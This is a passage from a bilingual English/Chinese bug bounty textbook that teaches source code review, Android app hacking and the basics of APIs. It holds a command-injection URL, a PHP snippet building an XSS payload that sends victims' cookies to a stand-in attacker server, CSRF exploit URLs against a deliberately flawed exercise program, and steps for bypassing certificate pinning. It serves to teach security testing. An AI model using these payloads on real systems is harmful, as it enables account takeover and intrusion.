PHP的system()命令可以执行系统命令，而system(COMMAND, OUTPUT)则会将命令的输出存储到变量OUTPUT中。这个程序将用户输入传递给变量$command，并将其传递到system()函数中。这意味着用户可以通过在请求页面时植入$ url_path中的有效负载来获取任意代码的执行。他们只需要在请求页面时修改download_file GET参数即可。

https://example.com/download?download_file=https://example.com/download;ls

The application then displays a message on the web page by using direct user input 4 . Attackers could embed an XSS payload in the download_file ’s URL path portion and get it reflected onto the victim’s page after a victim user accesses the crafted URL. The exploit URL can be generated with this code snippet. (Note that the second line wraps onto a third for display purposes.)

应用程序使用直接用户输入在网页上显示一条消息。攻击者可以在download_file的URL路径中嵌入XSS有效载荷，并在受害者用户访问制作的URL后将其反映到受害者页面上。可以使用此代码片段生成利用URL（请注意，第二行为显示目的而换行为第三行）。

<?php
  $exploit_string = "<script>document.location='http://attacker_server_ip/cookie_stealer
  .php?c='+document.cookie;</script>";

  echo "https://example.com/" . $exploit_string;
?>

Exercise: Spot the Vulnerabilities

Some of these tips may seem abstract, so let’s walk through an example program, written in Python, that will help you practice the tricks introduced in this chapter. Ultimately, reviewing source code is a skill to be practiced. The more you look at vulnerable code, the more adept you will become at spotting bugs.

这些技巧中有些可能看起来比较抽象，因此我们来介绍一个用 Python 写的示例程序，帮助你实践本章节中介绍的技巧。最终，检视源代码是需要实践的技能。你查看越多漏洞代码，就会越熟悉在代码中发现错误的技巧。

The following program has multiple issues. See how many you can find:

以下程序有多个问题。看看你能找出多少个问题：

import requests
import urllib.parse as urlparse
from urllib.parse import parse_qs
api_path = "https://api.example.com/new_password"
user_data = {"new_password":"", "csrf_token":""}

def get_data_from_input(current_url):
  # get the URL parameters
  # todo: we might want to stop putting user passwords 1
  # and tokens in the URL! This is really not secure.
  # todo: we need to ask for the user's current password
  # before they can change it!
  url_object = urlparse.urlparse(current_url)
  query_string = parse_qs(url_object.query)
  try:
    user_data["new_password"] = query_string["new_password"][0]
    user_data["csrf_token"] = query_string["csrf_token"][0]
  except: pass

def new_password_request(path, user_data):
  if user_data["csrf_token"]: 2
    validate_token(user_data["csrf_token"])
  resp = requests.Response()
  try:
    resp = requests.post(url=path, headers=headers, timeout=15, verify=False, data=user_data)
    print("Your new password is set!")
  except: pass

def validate_token(csrf_token):
  if (csrf_token == session.csrf_token):
    pass
  else:
    raise Exception("CSRF token incorrect. Request rejected.")

def validate_referer(): 3
  # todo: implement actual referer check! Now the function is a placeholder. 4
  if self.request.referer:
    return True
  else:
    throw_error("Referer incorrect. Request rejected.")

if __name__ == "__main__":
  validate_referer()
  get_data_from_input(self.request.url)
  new_password_request(api_path, user_data)

Let’s begin by considering how this program works. It’s supposed to take a new_password URL parameter to set a new password for the user. It parses the URL parameters for new_password and csrf_token . Then, it validates the CSRF token and performs the POST request to change the user’s password.

让我们开始考虑这个程序是如何工作的。它应该接收一个 new_password 的URL参数来为用户设置新密码。它会解析URL参数以获取 new_password 和 csrf_token。然后，它会验证CSRF令牌并执行POST请求以更改用户的密码。

This program has multiple issues. First, it contains several revealing developer comments 1 . It points out that the request to change the user’s password is initiated by a GET request, and both the user’s new password and CSRF token are communicated in the URL. Transmitting secrets in URLs is bad practice because they may be made available to browser histories, browser extensions, and traffic analytics providers. This creates the possibility of attackers stealing these secrets. Next, another development comment points out that the user’s current password isn’t needed to change to a new password! A third revealing comment points out to the attacker that the CSRF referer check functionality is incomplete 4 .

该程序存在多个问题。首先，它包含多个暴露开发者注释的部分。1.它指出更改用户密码的请求是通过GET请求发起的，并且用户的新密码和CSRF令牌都在URL中进行通信。在URL中传输密钥是不好的做法，因为它们可能会被浏览器历史记录、浏览器扩展和流量分析提供者公开。这会导致攻击者窃取这些秘密的可能性。其次，另一个开发注释指出，不需要用户当前的密码就可以更改新密码！第三个显露性评论指出，CSRF referrer检查功能不完整。

You can see for yourself that the program employs two types of CSRF protection, both of which are incomplete. The referer check function checks only if the referer is present, not whether the referer URL is from a legitimate site 3 . Next, the site implements incomplete CSRF token validation. It checks that the CSRF token is valid only if the csrf_token parameter is provided in the URL 2 . Attackers will be able to execute the CSRF to change users’ passwords by simply providing them with a URL that doesn’t have the csrf_token parameter, or contains a blank csrf_token , as in these examples:

你可以自己看到这个程序使用了两种CSRF保护，但它们都不完整。Referer检查函数只检查Referer是否存在，而不检查Referer URL是否来自合法站点3。此外，该站点实现的CSRF令牌验证也不完整。它只会检查CSRF令牌是否有效，仅当URL中提供了csrf_token参数时才会进行检查2。攻击者可以通过提供没有csrf_token参数或包含空白csrf_token的URL来执行CSRF，从而更改用户密码，例如：

https://example.com/change_password?new_password=abc&csrf_token=
https://example.com/change_password?new_password=abc

Code review is an effective way of finding vulnerabilities, so if you can extract source code at any point during your hacking process, dive into the source code and see what you can find. Manual code review can be time-consuming. Using static analysis security testing (SAST) tools is a great way to automate the process. Many open source and commercial SAST tools with different capabilities exist, so if you are interested in code analysis and participating in many source code programs, you might want to look into using a SAST tool that you like.

代码审查是找到漏洞的有效方式，因此，如果您在黑客过程中的任何时候可以提取源代码，请深入研究源代码，并查找您可以找到的内容。手动代码审查可能会花费很长时间。使用静态分析安全测试（SAST）工具是自动化过程的好方法。存在许多具有不同能力的开源和商业SAST工具，因此，如果您对代码分析感兴趣并参与许多源代码项目，则可能希望考虑使用您喜欢的SAST工具。

23
Hacking Android Apps

You’ve spent the entirety of this book thus far learning to hack web applications. The majority of bug bounty programs offer bounties on their web apps, so mastering web hacking is the easiest way to get started in bug bounties, as it will unlock the widest range of targets.

到目前为止，你已经花费了整个书籍的时间来学习如何黑客入侵 Web 应用程序。大多数赏金计划都在其 Web 应用程序上提供赏金，因此，精通 Web 黑客攻击是开始进行赏金计划的最简单方法，因为它将解锁最广泛的目标范围。

On the other hand, mobile hacking has a few more prerequisite skills and takes more time to get started. But because of the higher barrier to entry, fewer hackers tend to work on mobile programs. Also, the number of mobile programs is rising as companies increasingly launch complex mobile products. Mobile programs can sometimes be listed under the Mobile or IoT sections of the company’s main bug bounty program. This means that if you learn to hack mobile applications, you’ll likely file fewer duplicate reports and find more interesting bugs.

另一方面，移动设备的黑客攻击需要更多的先决条件和更多的时间才能开始。但由于进入门槛更高，较少的黑客倾向于研究移动应用程序。此外，随着公司发布越来越复杂的移动产品，移动应用程序的数量也在增加。移动应用程序有时可以在公司的主要漏洞赏金计划的“移动”或“物联网”部分下列出。这意味着如果您学会了如何攻击移动应用程序，您可能会少提交重复报告并找到更多有趣的漏洞。

Despite the more involved setup, hacking mobile applications is very similar to hacking web applications. This chapter introduces the additional skills you need to learn before you begin analyzing Android apps.

尽管移动应用程序的设置更加复杂，但其与网络应用程序的黑客方法非常相似。本章介绍了在分析Android应用程序之前需要学习的额外技能。

Companies with mobile applications typically have both Android and iOS versions of an app. We won’t cover iOS applications, and this chapter is by no means a comprehensive guide to hacking Android applications. But, along with the previous chapters, it should give you the foundation you need to start exploring the field on your own.

具有移动应用程序的公司通常都有Android和iOS版本的应用程序。我们不会涵盖iOS应用程序，这一章也绝不是对Android应用程序进行全面攻击指南。但是，与前几章一起，它应该为您提供足够的基础，以便您开始在这个领域进行探索。

Note

One of the best resources to reference for mobile hacking is the OWASP Mobile Security Testing Guide ( https://github.com/OWASP/owasp-mstg/ ).

参考移动设备安全测试最佳资源之一是OWASP移动设备安全测试指南(https://github.com/OWASP/owasp-mstg/)。

Setting Up Your Mobile Proxy

In the same way that you configured your web browser to work with your proxy, you’ll need to set up your testing mobile device to work with a proxy. This generally involves installing the proxy’s certificate on your device and adjusting your proxy’s settings.

就像你配置了网络浏览器与代理一起工作一样，你需要设置你的测试移动设备来与代理一起工作。这通常需要在你的设备上安装代理证书并调整你的代理设置。

If you can afford to do so, acquire another mobile device, or use one of your old devices for testing. Mobile testing is dangerous: you might accidentally damage your device, and many of the techniques mentioned in this chapter will void the device’s warranty. You can also use a mobile emulator (a program that simulates a mobile device) for testing.

如果您有经济能力的话，可以购买另一台移动设备进行测试，或是使用旧设备进行测试。移动测试具有潜在的危险：您可能会不小心损坏设备，并且本章中提到的许多技术可能会导致设备的保修失效。您还可以使用移动模拟器（一种模拟移动设备的程序）进行测试。

First, you’ll need to configure Burp’s proxy to accept connections from your mobile device, because by default, Burp’s proxy accepts connections only from the machine Burp is running on. Navigate to Burp’s Proxy ▶ Options tab. In the Proxy Listeners section, click Add . In the pop-up window ( Figure 23-1 ), enter a port number that is not currently in use and select All interfaces as the Bind to address option. Click OK .

首先，您需要配置Burp的代理以接受来自移动设备的连接，因为默认情况下，Burp的代理仅接受来自运行Burp的机器的连接。导航到Burp的Proxy▶选项选项卡。在代理监听器部分，单击添加。在弹出窗口（图23-1）中，输入一个当前未使用的端口号，并将所有接口选项选择为绑定地址选项。单击确定。

Figure 23-1 : Setting up Burp to accept connections from all devices on the Wi-Fi network

图23-1：设置Burp接受Wi-Fi网络中所有设备的连接。

Your proxy should now accept connections from any device connected to the same Wi-Fi network. As such, I do not recommend doing this on a public Wi-Fi network.

你的代理现在应该接受来自连接到同一Wi-Fi网络的任何设备的连接。因此，我不建议在公共Wi-Fi网络上执行此操作。

Next, you’ll configure your Android device to work with the proxy. These steps will vary slightly based on the system you’re using, but the process should be some version of choosing Settings ▶ Network ▶ Wi-Fi , selecting (usually by tapping and holding) the Wi-Fi network you’re currently connected to, and selecting Modify Network . You should then be able to select a proxy hostname and port. Here, you should enter your computer’s IP address and the port number you selected earlier. If you’re using a Linux computer, you can find your computer’s IP address by running this command:

接着，您需要配置您的 Android 设备与代理一起工作。基于您的系统，这些步骤会稍有不同，但过程通常是选择设置▶网络▶Wi-Fi，选择当前连接的 Wi-Fi 网络（通常通过点击和按住），然后选择修改网络。接下来，您应该能够选择代理主机名和端口。在这里，您需要输入您计算机的 IP 地址和之前选择的端口号。如果您正在使用 Linux 计算机，则可以通过运行此命令找到您的计算机的 IP 地址：

hostname -i

If you are using a Mac, you can find your IP with this command:

如果您使用的是Mac电脑，您可以使用以下命令查找您的IP地址：

ipconfig getifaddr en0

Your Burp proxy should now be ready to start intercepting traffic from your mobile device. The process of setting up a mobile emulator to work with your proxy is similar to this process, except that some emulators require that you add proxy details from the emulator settings menu instead of the network settings on the emulated device itself.

您的Burp代理现在应该已准备好开始拦截来自移动设备的流量。设置移动模拟器与您的代理一起工作的过程类似于此过程，但某些模拟器需要您在模拟设备本身的网络设置菜单中添加代理详细信息，而不是在网络设置中添加。

If you want to intercept and decode HTTPS traffic from your mobile device as well, you’ll need to install Burp’s certificate on your device. You can do this by visiting http://burp/cert in the browser on your computer that uses Burp as a proxy. Save the downloaded certificate, email it to yourself, and download it to your mobile device. Next, install the certificate on your device. This process will also depend on the specifics of the system running on your device, but it should be something like choosing Settings ▶ Security ▶ Install Certificates from Storage . Click the certificate you just downloaded and select VPN and apps for the Certificate use option. You’ll now be able to audit HTTPS traffic with Burp.

如果您想从移动设备拦截和解码HTTPS流量，您需要在设备上安装Burp的证书。您可以在使用Burp作为代理的计算机浏览器中访问http://burp/cert，下载证书并发送到您的电子邮件，最后将其下载到您的移动设备上。接下来，在您的设备上安装证书。此过程也取决于您的设备上运行的系统的具体细节，但应该类似于选择“设置”▶“安全”▶“从存储安装证书” 。点击您刚刚下载的证书，选择VPN和应用程序作为证书使用选项。现在您就可以使用Burp审计HTTPS流量了。

Bypassing Certificate Pinning

Certificate pinning is a mechanism that limits an application to trusting predefined certificates only. Also known as SSL pinning or cert pinning , it provides an additional layer of security against man-in-the-middle attacks , in which an attacker secretly intercepts, reads, and alters the communications between two parties. If you want to intercept and decode the traffic of an application that uses certificate pinning, you’ll have to bypass the certificate pinning first, or the application won’t trust your proxy’s SSL certificate and you won’t be able to intercept HTTPS traffic.

证书固定是一种机制，它限制应用程序只信任预定义的证书。又称为SSL固定或证书固定，它提供了一层额外的安全保障，防止中间人攻击，即攻击者秘密拦截、读取和更改两个方之间的通信。如果你想拦截和解码使用证书固定的应用程序的流量，你必须先绕过证书固定，或者应用程序将不信任你的代理的SSL证书，你就无法拦截HTTPS流量。

It’s sometimes necessary to bypass certificate pinning to intercept the traffic of better-protected apps. If you’ve successfully set up your mobile device to work with a proxy but still cannot see the traffic belonging to your target application, that app may have implemented certificate pinning.

有时候需要绕过证书固定来截取更好保护的应用程序的流量。如果您已经成功设置了移动设备与代理的配合，但仍然无法看到目标应用程序的交通流量，那么该应用程序可能已经实现了证书固定。

The process of bypassing cert pinning will depend on how the certificate pinning is implemented for each application. For Android applications, you have a few options for bypassing the pinning. You can use Frida , a tool that allows you to inject scripts into the application. You can download Frida from https://frida.re/docs/installation/ . Then use the Universal Android SSL Pinning Bypass Frida script ( https://codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida/ ). Another tool that you could use to automate this process is Objection ( https://github.com/sensepost/objection/ ), which uses Frida to bypass pinning for Android or iOS. Run the Objection command android sslpinning disable to bypass pinning.

绕过证书固定的过程将取决于每个应用程序实现证书固定的方式。对于Android应用程序，您有几种绕过固定的选项。您可以使用Frida，这是一种允许您将脚本注入应用程序的工具。您可以从https://frida.re/docs/installation/下载Frida。然后使用Universal Android SSL Pinning Bypass Frida脚本 (https://codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida/)。您还可以使用Objection (https://github.com/sensepost/objection/) 自动化此过程，使用Frida绕过Android或iOS的固定。运行Objection命令android sslpinning disable来绕过固定。

For most applications, you can bypass the certificate pinning by using these automated tools. But if the application implements pinning with custom code, you might need to manually bypass it. You could overwrite the packaged certificate with your custom certificate. Alternately, you could change or disable the application’s certificate validation code. The process of executing these techniques is complicated and highly dependent on the application that you’re targeting, so I won’t go into detail. For more information on these methods, you’ll have to do some independent research.

大多数情况下，您可以通过使用这些自动化工具来绕过证书绑定。但是如果应用程序使用自定义代码进行针对性绑定，您可能需要手动绕过。您可以使用自定义证书来覆盖打包的证书。或者，您可以更改或禁用应用程序的证书验证代码。执行这些技术的过程非常复杂，且高度依赖您的目标应用程序，所以我不会详细介绍。有关这些方法的更多信息，您需要进行一些独立的研究。

Anatomy of an APK

Before you attack Android applications, you must first understand what they are made of. Android applications are distributed and installed in a file format called Android Package ( APK) . APKs are like ZIP files that contain everything an Android application needs to operate: the application code, the application manifest file, and the application’s resources. This section describes the main components of an Android APK.

攻击Android应用程序之前，您必须首先了解它们是由什么构成的。Android应用程序以一种称为Android包（APK）的文件格式进行分发和安装。APK就像是包含了Android应用程序所有需要的一切：应用程序代码，应用程序清单文件和应用程序资源的ZIP文件。本节介绍了Android APK的主要组成部分。

First, the AndroidManifest.xml file contains the application’s package name, version, components, access rights, and referenced libraries, as well as other metadata. It’s a good starting point for exploring the application. From this file, you can gain insights into the app’s components and permissions.

首先，AndroidManifest.xml 文件包含应用程序的软件包名称、版本、组件、访问权限和引用库，以及其他元数据。这是探索应用程序的好起点。从这个文件中，您可以获得有关应用程序组件和权限的信息。

Understanding the components of your target application will provide you with a good overview of how it works. There are four types of app components: Activities (declared in <activity> tags), Services (declared in <service> tags), BroadcastReceivers (declared in <receiver> tags), and ContentProviders (declared in <provider> tags).

了解目标应用程序的各个组件将为您提供其工作方式的良好概述。应用程序组件有四种类型：活动（在<activity>标签中声明），服务（在<service>标签中声明），广播接收器（在<receiver>标签中声明）和内容提供程序（在<provider>标签中声明）。

Activities are application components that interact with the user. The windows of Android applications you see are made up of Activities. Services are long-running operations that do not directly interact with the user, such as retrieving or sending data in the background. BroadcastReceivers allow an app to respond to broadcast messages from the Android system and other applications. For instance, some applications download large files only when the device is connected to Wi-Fi, so they need a way to be notified when the device connects to a Wi-Fi network. ContentProviders provide a way to share data with other applications.

活动是与用户交互的应用程序组件。您看到的Android应用程序窗口由活动组成。服务是长时间运行的操作，不直接与用户交互，例如在后台检索或发送数据。BroadcastReceiver允许应用程序响应Android系统和其他应用程序的广播消息。例如，一些应用程序仅在设备连接到Wi-Fi时下载大文件，因此它们需要一种方式来在设备连接到Wi-Fi网络时得到通知。ContentProvider提供了一种共享数据与其他应用程序的方法。

The permissions that the application uses, such as the ability to send text messages and the permissions other apps need to interact with it, are also declared in this AndroidManifest.xml file. This will give you a good sense of what the application can do and how it interacts with other applications on the same device. For more about what you can find in AndroidManifest.xml , visit https://developer.android.com/guide/topics/manifest/manifest-intro/ .

应用程序使用的权限（例如发送短信的能力以及其他应用程序与其交互所需的权限）也在此AndroidManifest.xml文件中声明。这将使您了解应用程序的功能以及它如何与同一设备上的其他应用程序交互。有关在AndroidManifest.xml中查找的更多信息，请访问https://developer.android.com/guide/topics/manifest/manifest-intro/。

The classes.dex file contains the application source code compiled in the DEX file format. You can use the various Android hacking tools introduced later in this chapter to extract and decompile this source code for analysis. For more on conducting source code reviews for vulnerabilities, check out Chapter 22 .

classes.dex文件包含以DEX文件格式编译的应用程序源代码。您可以使用本章后面介绍的各种Android黑客工具来提取和反编译此源代码以进行分析。有关查找漏洞的源代码评论的更多信息，请查看第22章。

The resources.arsc file contains the application’s precompiled resources, such as strings, colors, and styles. The res folder contains the application’s resources not compiled into resources.arsc . In the res folder, the res/values/strings.xml file contains literal strings of the application.

资源文件resources.arsc包含了应用程序的预编译资源，例如字符串、颜色和样式。res文件夹包含了应用程序中没有编译成resources.arsc的资源。在res文件夹中，res/values/strings.xml文件包含了应用程序中的字面字符串。

The lib folder contains compiled code that is platform dependent. Each subdirectory in lib contains the specific source code used for a particular mobile architecture. Compiled kernel modules are located here and are often a source of vulnerabilities.

lib文件夹包含平台相关的已编译代码。每个子目录中的lib都包含特定移动架构所使用的源代码。编译的内核模块位于此处，并常常成为漏洞的来源。

The assets folder contains the application’s assets, such as video, audio, and document templates. Finally, the META-INF folder contains the MANIFEST.MF file, which stores metadata about the application. This folder also contains the certificate and signature of the APK.

assets文件夹包含应用程序的资源，例如视频、音频和文档模板。最后，META-INF文件夹包含MANIFEST.MF文件，其中存储有关应用程序的元数据。该文件夹还包含APK的证书和签名。

Tools to Use

Now that you understand the main components of an Android application, you’ll need to know how to process the APK file and extract the Android source code. Besides using a web proxy to inspect the traffic to and from your test device, you’ll need some tools that are essential to analyzing Android applications. This section doesn’t go into the specifics of how to use these tools, but rather when and why to use them. The rest you can easily figure out by using each tool’s documentation pages.

现在，您已经理解了Android应用程序的主要组件，需要知道如何处理APK文件并提取Android源代码。除了使用Web代理检查测试设备的流量之外，您还需要一些必要的工具来分析Android应用程序。本节不涉及如何使用这些工具的具体细节，而是介绍何时以及为什么要使用它们。其余部分您可以通过使用每个工具的文档页面轻松查找到。

Android Debug Bridge

The Android Debug Bridge ( ADB) is a command line tool that lets your computer communicate with a connected Android device. This means you won’t have to email application source code and resource files back and forth between your computer and your phone if you want to read or modify them on the computer. For example, you can use ADB to copy files to and from your device, or to quickly install modified versions of the application you’re researching. ADB’s documentation is at https://developer.android.com/studio/command-line/adb/ .

Android 调试桥（ADB）是一种命令行工具，可使您的计算机与连接的 Android 设备通信。这意味着如果您想在计算机上阅读或修改应用程序源代码和资源文件，您无需在计算机和手机之间来回发送电子邮件。例如，您可以使用 ADB 将文件复制到和从设备中复制出来，或快速安装正在研究的应用程序的修改版本。ADB 的文档位于 https://developer.android.com/studio/command-line/adb/。

To start using ADB, connect your device to your laptop with a USB cable. Then turn on debugging mode on your device. Whenever you want to use ADB on a device connected to your laptop over USB, you must enable USB debugging. This process varies based on the mobile device, but should be similar to choosing Settings ▶ System ▶ Developer Options ▶ Debugging . This will enable you to interact with your device from your laptop via ADB. On Android version 4.1 and lower, the developer options screen is available by default. In versions of Android 4.2 and later, developer options need to be enabled by choosing Settings ▶ About Phone and then tapping the Build number seven times.

要开始使用 ADB，请用 USB 电缆将设备连接到笔记本电脑。然后在设备上打开调试模式。每当您想要在通过 USB 连接到笔记本电脑的设备上使用 ADB 时，都必须启用 USB 调试。此过程因移动设备而异，但应类似于选择“设置”▶“系统”▶“开发者选项”▶“调试”。这将使您能够通过 ADB 从笔记本电脑与您的设备交互。在 Android 版本 4.1 及以下版本中，默认情况下可用开发者选项屏幕。在 Android 4.2 及以后的版本中，需要通过选择“设置”▶“关于手机”，然后点击“版本号”七次来启用开发者选项。

On your mobile device, you should see a window prompting you to allow the connection from your laptop. Make sure that your laptop is connected to the device by running this command in your laptop terminal:

在您的移动设备上，您应该看到一个窗口提示您允许来自笔记本电脑的连接。请确保您的笔记本电脑通过在笔记本电脑终端运行此命令将其连接到设备上：

adb devices -l

Now you can install APKs with this command:

现在您可以使用此命令安装APK：

adb install PATH_TO_APK

You can also download files from your device to your laptop by running the following:

您也可以通过运行以下步骤，从您的设备下载文件到您的笔记本电脑：

adb pull REMOTE_PATH LOCAL_PATH

Or copy files on your laptop to your mobile device:

将文件从您的笔记本电脑复制到移动设备：

adb push LOCAL_PATH REMOTE_PATH

Android Studio

Android Studio is software used for developing Android applications, and you can use it to modify an existing application’s source code. It also includes an emulator that lets you run applications in a virtual environment if you don’t have a physical Android device. You can download and read about Android Studio at https://developer.android.com/studio/ .

Android Studio是用于开发Android应用程序的软件，您可以使用它来修改现有应用程序的源代码。它还包括一个模拟器，允许您在虚拟环境中运行应用程序，如果您没有物理Android设备。您可以在https://developer.android.com/studio/下载和阅读有关Android Studio的信息。

Apktool

Apktool , a tool for reverse engineering APK files, is essential for Android hacking and will probably be the tool you use most frequently during your analysis. It converts APKs into readable source code files and reconstructs an APK from these files. The Apktool’s documentation is at https://ibotpeaches.github.io/Apktool/ .

Apktool是一个反编译APK文件的工具，对于Android黑客来说非常重要，它可能是你在分析过程中使用最频繁的工具。它将APK转换成可读的源代码文件，并从这些文件中重构APK。Apktool的文档位于https://ibotpeaches.github.io/Apktool/。

You can use Apktool to get individual files from an APK for source code analysis. For example, this command extracts files from an APK called example.apk :

你可以使用Apktool从APK中获取单个文件以进行源代码分析。例如，以下命令从名为example.apk的APK中提取文件：

$ apktool d example.apk

Sometimes you might want to modify an APK’s source code and see if that changes the behavior of the app. You can use Apktool to repackage individual source code files after making modifications. This command packages the content of the example folder into the file example.apk :

有时候，您可能想修改一个APK的源代码，并查看应用程序的行为是否发生了变化。您可以使用Apktool在进行修改后重新打包单个源代码文件。此命令将example文件夹中的内容打包到example.apk文件中：

$ apktool b example -o example.apk

Frida

Frida ( https://frida.re/ ) is an amazing instrumentation toolkit that lets you inject your script into running processes of the application. You can use it to inspect functions that are called, analyze the app’s network connections, and bypass certificate pinning.

Frida（https://frida.re/）是一个令人惊叹的仪器工具包，可以让你将脚本注入到应用程序正在运行的进程中。您可以使用它来检查所调用的函数，分析应用程序的网络连接，并绕过证书挂钩。

Frida uses JavaScript as its language, so you will need to know JavaScript to take full advantage of it. However, you can access plenty of premade scripts shared online.

Frida使用JavaScript作为其语言，因此您需要了解JavaScript才能充分利用它。但是，您可以访问许多在线共享的现成脚本。

Mobile Security Framework

I also highly recommend the Mobile Security Framework ( https://github.com/MobSF/Mobile-Security-Framework-MobSF/ ), or the MobSF , for all things mobile app testing. This automated mobile application testing framework for Android, iOS, and Windows can do both static and dynamic testing. It automates many of the techniques that I talk about in this chapter and is a good tool to add to your toolkit once you understand the basics of Android hacking.

我也强烈推荐移动安全框架（https://github.com/MobSF/Mobile-Security-Framework-MobSF/）或称为 MobSF，用于所有移动应用程序测试。这个针对 Android、iOS 和 Windows 的自动化移动应用程序测试框架可以进行静态和动态测试。它自动化了本章中介绍的许多技术，并且是一个很好的工具，在您了解 Android 黑客攻击的基础知识后，添加到您的工具包中。

Hunting for Vulnerabilities

Now that your mobile hacking environment is set up, it’s time to start hunting for vulnerabilities in the mobile app. Luckily, hacking mobile applications is not that different from hacking web applications.

现在您的移动设备黑客环境已经设置好，是时候开始在移动应用程序中寻找漏洞了。幸运的是，攻击移动应用程序并不比攻击Web应用程序不同。

To start, extract the application’s package contents and review the code for vulnerabilities. Compare authentication and authorization mechanisms for the mobile and web apps of the same organization. Developers may trust data coming from the mobile app, and this could lead to IDORs or broken authentication if you use a mobile endpoint. Mobile apps also tend to have issues with session management, such as reusing session tokens, using longer sessions, or using session cookies that don’t expire. These issues can be chained with XSS to acquire session cookies that allow attackers to take over accounts even after users log out or change their passwords. Some applications use custom implementations for encryption or hashing. Look for insecure algorithms, weak implementations of known algorithms, and hardcoded encryption keys. After reviewing the application’s source code for potential vulnerabilities, you can validate your findings by testing dynamically on an emulator or a real device.

首先，提取应用程序包的内容并检查代码中的漏洞。比较同一组织的移动应用程序和Web应用程序的身份验证和授权机制。开发人员可能会信任来自移动应用程序的数据，这可能会导致IDOR或破损的身份验证，如果您使用移动终端。移动应用程序也往往存在会话管理问题，例如重复使用会话令牌、使用更长的会话或使用不过期的会话cookie。这些问题可以与XSS链接，以获取会话cookie，使攻击者甚至在用户注销或更改密码后仍能接管帐户。有些应用程序使用自定义实现进行加密或哈希。寻找不安全的算法、已知算法的弱实现和硬编码的加密密钥。在审查应用程序的源代码以查找潜在漏洞后，您可以通过在模拟器或实际设备上进行动态测试来验证您的发现。

Mobile applications are an excellent place to search for additional web vulnerabilities not present in their web application equivalent. You can hunt for these with the same methodology you used to find web vulnerabilities: using Burp Suite to intercept the traffic coming out of the mobile app during sensitive actions. Mobile apps often make use of unique endpoints that may not be as well tested as web endpoints because fewer hackers hunt on mobile apps. You can find them by looking for endpoints that you haven’t seen in the organization’s web applications.

移动应用程序是搜索与其 Web 应用程序等效物中不存在的额外 Web 漏洞的绝佳场所。您可以使用与查找 Web 漏洞相同的方法来寻找：使用 Burp Suite 拦截敏感操作期间从移动应用程序中出来的流量。移动应用程序通常使用独特的终端节点，可能没有像 Web 终端节点一样经过充分测试，因为更少的黑客在移动应用程序上搜索。查找这些节点的方法是寻找组织的 Web 应用程序中没有看到的节点。

I recommend testing an organization’s web applications first, before you dive into its mobile applications, since a mobile application is often a simplified version of its web counterpart. Search for IDORs, SQL injections, XSS, and other common web vulnerabilities by using the skills you’ve already learned. You can also look for common web vulnerabilities by analyzing the source code of the mobile application.

我建议先测试组织的Web应用程序，再深入其移动应用程序，因为移动应用程序通常是其Web同类产品的简化版本。通过使用您已经学习的技能搜索IDOR、SQL注入、XSS和其他常见Web漏洞。您还可以通过分析移动应用程序的源代码来查找常见的Web漏洞。

In addition to the vulnerabilities that you look for in web applications, search for some mobile-specific vulnerabilities. AndroidManifest.xml contains basic information about the application and its functionalities. This file is a good starting point for your analysis. After you’ve unpacked the APK file, read it to gain a basic understanding of the application, including its components and the permissions it uses. Then you can dive into other files to look for other mobile-specific vulnerabilities.

除了在网络应用程序中搜索的漏洞外，还要搜索一些移动特定的漏洞。AndroidManifest.xml 包含有关应用程序及其功能的基本信息。该文件是您分析的良好起点。解压 APK 文件后，阅读文件以基本了解应用程序的组件和使用的权限。然后您可以深入其他文件以寻找其他移动特定的漏洞。

The source code of mobile applications often contains hardcoded secrets or API keys that the application needs to access web services. The res/values/strings.xml file stores the strings in the application. It’s a good place to look for hardcoded secrets, keys, endpoints, and other types of info leaks. You can also search for secrets in other files by using grep to search for the keywords mentioned in Chapter 22 .

移动应用程序的源代码通常包含硬编码的秘密或 API 密钥，应用程序需要访问 Web 服务。res/values/strings.xml 文件存储应用程序中的字符串。这是查找硬编码的秘密、密钥、端点和其他类型的信息泄漏的好地方。您还可以使用 grep 搜索关键字来查找其他文件中的秘密，这些关键字在第 22 章中提到。

If you find files with the .db or .sqlite extensions, these are database files. Look inside these files to see what information gets shipped along with the application. These are also an easy source of potential secrets and sensitive information leaks. Look for things like session data, financial information, and sensitive information belonging to the user or organization.

如果你在文件中发现.db或.sqlite扩展名的文件，那么这些是数据库文件。在这些文件中查找信息，看它们与应用程序一起发送了什么信息。这些也是潜在秘密和敏感信息泄露的容易来源。查找session数据、财务信息和属于用户或组织的敏感信息。

Ultimately, looking for mobile vulnerabilities is not that different from hacking web applications. Closely examine the interactions between the client and the server, and dive into the source code. Keep in mind the special classes of vulnerabilities, like hardcoded secrets and the storage of sensitive data in database files, that tend to manifest in mobile apps more than in web applications.

寻找移动漏洞与黑客攻击Web应用程序并没有太大的区别，需要仔细检查客户端和服务器之间的交互，并深入源代码。请记住，移动应用程序比Web应用程序更容易出现硬编码的秘密和在数据库文件中存储敏感数据等特殊漏洞类型。

24
API Hacking

Application programming interfaces ( APIs) are a way for programs to communicate with each other, and they power a wide variety of applications. As applications become more complex, developers are increasingly using APIs to combine components of an application or multiple applications belonging to the same organization. And more and more, APIs have the ability to execute important actions or communicate sensitive information.

应用程序接口（API）是程序之间通信的一种方式，可以为各种应用程序提供支持。随着应用程序变得越来越复杂，开发人员越来越多地使用API来组合应用程序的组件或同一组织中的多个应用程序。而且，API越来越具有执行重要操作或通信敏感信息的能力。

In this chapter, we’ll talk about what APIs are, how they work, and how you can find and exploit API vulnerabilities.

在这一章中，我们将讨论API是什么，它们如何工作以及您如何找到并利用API漏洞。

What Are APIs?

In simple terms, an API is a set of rules that allow one application to communicate with another. They enable applications to share data in a controlled way. Using APIs, applications on the internet can take advantage of other applications’ resources to build more complex features.

简单来说，API 是一组规则，允许一个应用程序与另一个应用程序进行通信。它们使应用程序以控制的方式共享数据。使用 API，互联网上的应用程序可以利用其他应用程序的资源来构建更复杂的功能。

For example, consider Twitter’s API ( https://developer.twitter.com/en/docs/twitter-api/ ). This public API allows outside developers to access Twitter’s data and actions. For example, if a developer wants their code to retrieve the contents of a tweet from Twitter’s database, they can use a Twitter API endpoint that returns tweet information by sending a GET request to the Twitter API server located at api.twitter.com :

例如，考虑Twitter的API（https://developer.twitter.com/en/docs/twitter-api/）。这个公共API允许外部开发人员访问Twitter的数据和操作。例如，如果开发人员希望他们的代码从Twitter的数据库中检索一条推文的内容，他们可以使用Twitter API端点，通过向位于api.twitter.com的Twitter API服务器发送GET请求返回推文信息：

GET /1.1/statuses/show.json?id=210462857140252672
Host: api.twitter.com

